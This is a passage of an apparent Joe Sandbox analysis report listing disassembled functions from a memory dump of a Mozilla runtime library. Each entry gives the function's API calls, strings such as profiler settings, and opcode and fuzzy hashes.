memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6CB4E330,?,6CAFC059), ref: 6CB3ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6CB4E330,?,6CAFC059), ref: 6CB3AE01
GetLastError.KERNEL32(?,00000000,?,?,6CB4E330,?,6CAFC059), ref: 6CB3AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6CB4E330,?,6CAFC059), ref: 6CB3AE3D

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: 23967f814accaa885a143f3cf978f571084a7f78dc1b6f58720d4609c13c5fdb
Instruction ID: d795d56bdb0b2bf4766478036766df979cff1b22894ccde63b0509c3d0317d9d
Opcode Fuzzy Hash: 23967f814accaa885a143f3cf978f571084a7f78dc1b6f58720d4609c13c5fdb
Instruction Fuzzy Hash: 313132B1A002659FDB10DF768D44AAFBBF8EF49614F65882DE85AD7740E734D804CBA0

Function 6CB35EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6CB4DCA0,?,?,?,6CB0E8B5,00000000), ref: 6CB35F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6CB0E8B5,00000000), ref: 6CB35F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6CB0E8B5,00000000), ref: 6CB35F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6CB0E8B5,00000000), ref: 6CB35F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6CB0E8B5,00000000), ref: 6CB35FD6

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: db5f496dd55c2993f0b6481033b7dba71b3160a31fe54697eac6cedb5cb1f4ac
Instruction ID: 1c483d806a276c1df10fb8ac10e9d81e42226785c1570f2043072415836a5d9f
Opcode Fuzzy Hash: db5f496dd55c2993f0b6481033b7dba71b3160a31fe54697eac6cedb5cb1f4ac
Instruction Fuzzy Hash: CA312D343006508FDB10CF29C898E2AB7F9FF89319BA45558F55A8BB95C731EC45CB85

Function 6CADB4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6CADB532
moz_xmalloc.MOZGLUE(?), ref: 6CADB55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CADB56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6CADB57E
free.MOZGLUE(00000000), ref: 6CADB58F

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 61aa1731f50d38a2fa627b36563a1e024cf28d07f11ca8a1cd10318b9fe02c4f
Instruction ID: 66f36dd2e2bf9df740024e0a2b75166dffa22a9bef652f3a69561272f0238200
Opcode Fuzzy Hash: 61aa1731f50d38a2fa627b36563a1e024cf28d07f11ca8a1cd10318b9fe02c4f
Instruction Fuzzy Hash: F0210771A00205DBDB008F69DC40BBEBBB9FF46304F294129E819DB341E775E955C7A0

Function 6CB376C0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6CB376F2
moz_xmalloc.MOZGLUE(00000001), ref: 6CB37705

Part of subcall function 6CAECA10: malloc.MOZGLUE(?), ref: 6CAECA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CB37717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6CB3778F,00000000,00000000,00000000,00000000), ref: 6CB37731
free.MOZGLUE(00000000), ref: 6CB37760

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 2538299546-0
Opcode ID: 5fa80340c94bd0d30561e76ffdc5457f3f75fe6f814a5fa36ccdaa92670113a7
Instruction ID: d3829da760ccf3cfb21cd59c10614932de16b17f0ffb3351bdd1af0c00fcce1d
Opcode Fuzzy Hash: 5fa80340c94bd0d30561e76ffdc5457f3f75fe6f814a5fa36ccdaa92670113a7
Instruction Fuzzy Hash: 2111C4B1904365ABEB10AF768D44BABBEF8EF55354F144429F84CE7300E771884487E2

Function 6CB10D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6CAD3DEF), ref: 6CB10D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6CAD3DEF), ref: 6CB10D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6CAD3DEF), ref: 6CB10DAF

Strings

<jemalloc>, xrefs: 6CB10D92, 6CB10DB9
: (malloc) Error in VirtualFree(), xrefs: 6CB10D97, 6CB10DBE

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: bc1b0f5d4908f247b5f239991e623b3be9ba8cf58beb6a7a70800b3deab9adc0
Instruction ID: 3f1672b0ecfa191bca6d832a20701563fd16db7f776543f45405e2ee94794e23
Opcode Fuzzy Hash: bc1b0f5d4908f247b5f239991e623b3be9ba8cf58beb6a7a70800b3deab9adc0
Instruction Fuzzy Hash: FDF0A5713983E423D9201D656C0AFEA355DE7C1B55F744136FA14DFDC0DA51E8304655

Function 6CB27620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6CB275C4,?), ref: 6CB2762B

Part of subcall function 6CAECA10: malloc.MOZGLUE(?), ref: 6CAECA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6CB274D7,6CB315FC,?,?,?), ref: 6CB27644
GetCurrentThreadId.KERNEL32 ref: 6CB2765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6CB274D7,6CB315FC,?,?,?), ref: 6CB27663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6CB274D7,6CB315FC,?,?,?), ref: 6CB27677

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: c652fd2751bf80611fc9e97ad92a5f612da0dc104c617d4011619594ad18236f
Instruction ID: 2c56f36005b9a62644b9fc304d7b65c2b91c17f2e1fe13ddcccdc7c79481d5b4
Opcode Fuzzy Hash: c652fd2751bf80611fc9e97ad92a5f612da0dc104c617d4011619594ad18236f
Instruction Fuzzy Hash: B2F0C271E10785ABD7009F21C888676B778FFEA259F114316F90453601E7B0A5D08BD0

Function 6CAFD468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6CB0CBE8: GetCurrentProcess.KERNEL32(?,6CAD31A7), ref: 6CB0CBF1
Part of subcall function 6CB0CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CAD31A7), ref: 6CB0CBFA

EnterCriticalSection.KERNEL32(6CB5E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CB0D1C5), ref: 6CAFD4F2
LeaveCriticalSection.KERNEL32(6CB5E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CB0D1C5), ref: 6CAFD50B

Part of subcall function 6CADCFE0: EnterCriticalSection.KERNEL32(6CB5E784), ref: 6CADCFF6
Part of subcall function 6CADCFE0: LeaveCriticalSection.KERNEL32(6CB5E784), ref: 6CADD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CB0D1C5), ref: 6CAFD52E
EnterCriticalSection.KERNEL32(6CB5E7DC), ref: 6CAFD690
LeaveCriticalSection.KERNEL32(6CB5E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CB0D1C5), ref: 6CAFD751

Strings

MOZ_CRASH(), xrefs: 6CAFD4BB

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: b57dd2a43df21894766767bca04762419375e3cc9c71097dce8b5885e02dca1b
Instruction ID: 7fe05e4406dad5b2967dc0d571e58786c1f7ec51760a623c9e51a2c1e841def3
Opcode Fuzzy Hash: b57dd2a43df21894766767bca04762419375e3cc9c71097dce8b5885e02dca1b
Instruction Fuzzy Hash: FF512271F047858FD755CF28C09075ABBE1EB89304F984A2EE5AAC7B84D730E841CB92

Function 6CB24630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CB24721

Strings

-%llu, xrefs: 6CB24733
profiler-paused, xrefs: 6CB246E4
., xrefs: 6CB2476A

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 962e1a1091aea55ffe039d46d3b345a26a2a381e36f8dc5650063875ab3e47e9
Instruction ID: 80b2df4f3b0058effd027dc78e873752c80cd11e72d13510ac315e73d0390e98
Opcode Fuzzy Hash: 962e1a1091aea55ffe039d46d3b345a26a2a381e36f8dc5650063875ab3e47e9
Instruction Fuzzy Hash: 0D418771F087489BCB09DF78E84116EBBE5EF85344F10863DE859ABB91EB3498448B42

Function 6CB246E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CB24721

Part of subcall function 6CAD4410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6CB13EBD,00000017,?,00000000,?,6CB13EBD,?,?,6CAD42D2), ref: 6CAD4444

Strings

-%llu, xrefs: 6CB24733
profiler-paused, xrefs: 6CB246E4
., xrefs: 6CB2476A

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 900327f6209b60ba4b8e6c038cfb923eeaf7fa3d7152bcc5c2161559a98682b6
Instruction ID: d436a75b91016ffb06964878d0a25aacfb416a054d8c72357fd586f2c9d3cb83
Opcode Fuzzy Hash: 900327f6209b60ba4b8e6c038cfb923eeaf7fa3d7152bcc5c2161559a98682b6
Instruction Fuzzy Hash: 66315C71F042484BCB0CCF6CD8912BEBBE6DB99314F55863DE8199BB91E77498048F91

Function 6CB2B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAD4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CB13EBD,6CB13EBD,00000000), ref: 6CAD42A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CB2B127), ref: 6CB2B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB2B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6CB2B4E4

Strings

pid:, xrefs: 6CB2B4DE

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 199be14ca223bb2ebe511df0b6125ced60405abc462499f4d63fa799a7c3a6d9
Instruction ID: 2f98e01e0b04a387ec87250f5920b743749c7c6f345b5877886d2b3a56f9c27d
Opcode Fuzzy Hash: 199be14ca223bb2ebe511df0b6125ced60405abc462499f4d63fa799a7c3a6d9
Instruction Fuzzy Hash: 24311831A01244DFDB00DFA9D880AFEB7B5FF09318F580529D82667A41DB35E949CBE1

Function 6CB1E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB1E577
AcquireSRWLockExclusive.KERNEL32(6CB5F4B8), ref: 6CB1E584
ReleaseSRWLockExclusive.KERNEL32(6CB5F4B8), ref: 6CB1E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CB1E8A6

Strings

MOZ_PROFILER_STARTUP, xrefs: 6CB1E5A1, 6CB1E5CC, 6CB1E5FF, 6CB1E62A
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CB1E777
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CB1E655
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CB1E722, 6CB1E750, 6CB1E7A2
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CB1E826, 6CB1E850

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 63d407007a936d8bc16aea5e26017aa6ab87833209a39ed412129fa9122c9857
Instruction ID: 5b16ec02a4b04d1d728d040d1a2b048f8543da6d841dfbe7e54bb3116003c807
Opcode Fuzzy Hash: 63d407007a936d8bc16aea5e26017aa6ab87833209a39ed412129fa9122c9857
Instruction Fuzzy Hash: E811AD31A042D8DFDB009F15C848A6EFBF8FBC9328FC40619E88697A50C770A844CB96

Function 6CB20C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CB20CD5

Part of subcall function 6CB0F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CB0F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CB20D40
free.MOZGLUE ref: 6CB20DCB

Part of subcall function 6CAF5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CAF5EDB
Part of subcall function 6CAF5E90: memset.VCRUNTIME140(6CB37765,000000E5,55CCCCCC), ref: 6CAF5F27
Part of subcall function 6CAF5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CAF5FB2

free.MOZGLUE ref: 6CB20DDD
free.MOZGLUE ref: 6CB20DF2

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: bd7b4a234c06dbc62e8269f7a36442273a688732c5016957c447dc5c1fdb8897
Instruction ID: 354a755d277705988673f116054cc6a3b6c3da2e279b7a6213f4c18e6e3a2e00
Opcode Fuzzy Hash: bd7b4a234c06dbc62e8269f7a36442273a688732c5016957c447dc5c1fdb8897
Instruction Fuzzy Hash: FA410671A097948BD320CF29D1807AEFBE5BFC9654F508A2EE8D887750D7749489CB82

Function 6CB2CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6CB1DA31,00100000,?,?,00000000,?), ref: 6CB2CDA4

Part of subcall function 6CAECA10: malloc.MOZGLUE(?), ref: 6CAECA26

Part of subcall function 6CB2D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6CB2CDBA,00100000,?,00000000,?,6CB1DA31,00100000,?,?,00000000,?), ref: 6CB2D158
Part of subcall function 6CB2D130: InitializeConditionVariable.KERNEL32(00000098,?,6CB2CDBA,00100000,?,00000000,?,6CB1DA31,00100000,?,?,00000000,?), ref: 6CB2D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6CB1DA31,00100000,?,?,00000000,?), ref: 6CB2CDC4

Part of subcall function 6CB27480: ReleaseSRWLockExclusive.KERNEL32(?,6CB315FC,?,?,?,?,6CB315FC,?), ref: 6CB274EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6CB1DA31,00100000,?,?,00000000,?), ref: 6CB2CECC

Part of subcall function 6CAECA10: mozalloc_abort.MOZGLUE(?), ref: 6CAECAA2

Part of subcall function 6CB1CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6CB2CEEA,?,?,?,?,00000000,?,6CB1DA31,00100000,?,?,00000000), ref: 6CB1CB57
Part of subcall function 6CB1CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6CB1CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6CB2CEEA,?,?), ref: 6CB1CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6CB1DA31,00100000,?,?,00000000,?), ref: 6CB2D058

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 33e1572da01bc7f9ad01b339db4504c51bfe64f6e4cc7be1c7f9841aeeae5508
Instruction ID: da19969df6ae8c8afa302d5dc4d827b1a4c965cf264e9e541588927b943200e6
Opcode Fuzzy Hash: 33e1572da01bc7f9ad01b339db4504c51bfe64f6e4cc7be1c7f9841aeeae5508
Instruction Fuzzy Hash: DAD17E71A04B469FD718CF28C5907A9F7E1FF89308F01862DD85987752EB31E9A9CB81

Function 6CAF5C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6CAF5D40
EnterCriticalSection.KERNEL32(6CB5F688), ref: 6CAF5D67
__aulldiv.LIBCMT ref: 6CAF5DB4
LeaveCriticalSection.KERNEL32(6CB5F688), ref: 6CAF5DED

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 5a5287c274e8ed3c8ca943ab172146153f4a171494c2e528269cfd9848a21a6f
Instruction ID: 60dfb85c5a4c94f22eb3d5141762733b247bc46b6fb045077a7e7e5f049c09a5
Opcode Fuzzy Hash: 5a5287c274e8ed3c8ca943ab172146153f4a171494c2e528269cfd9848a21a6f
Instruction Fuzzy Hash: 60518F71E011598FCF08CFA8C854BAEFBB2FB89304F59861DD865A7790C7716986CB90

Function 6CADCDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6CADCEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6CADCEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6CADCF4E

Strings

0, xrefs: 6CADCF30

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: a5ecdd375949f1cf14869ae2b1383999e44638887876c078c140600cbdaa1ca4
Instruction ID: 37e773762f71a083c377131fffb4903517b3e88a516cf3911401b727941cba25
Opcode Fuzzy Hash: a5ecdd375949f1cf14869ae2b1383999e44638887876c078c140600cbdaa1ca4
Instruction Fuzzy Hash: 47511071A042568FCB00CF18C890AAAFBB5EF99304F2A859DD8595F352D731BD46CBE0

Function 6CB16470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6CB182BC,?,?), ref: 6CB1649B

Part of subcall function 6CAECA10: malloc.MOZGLUE(?), ref: 6CAECA26

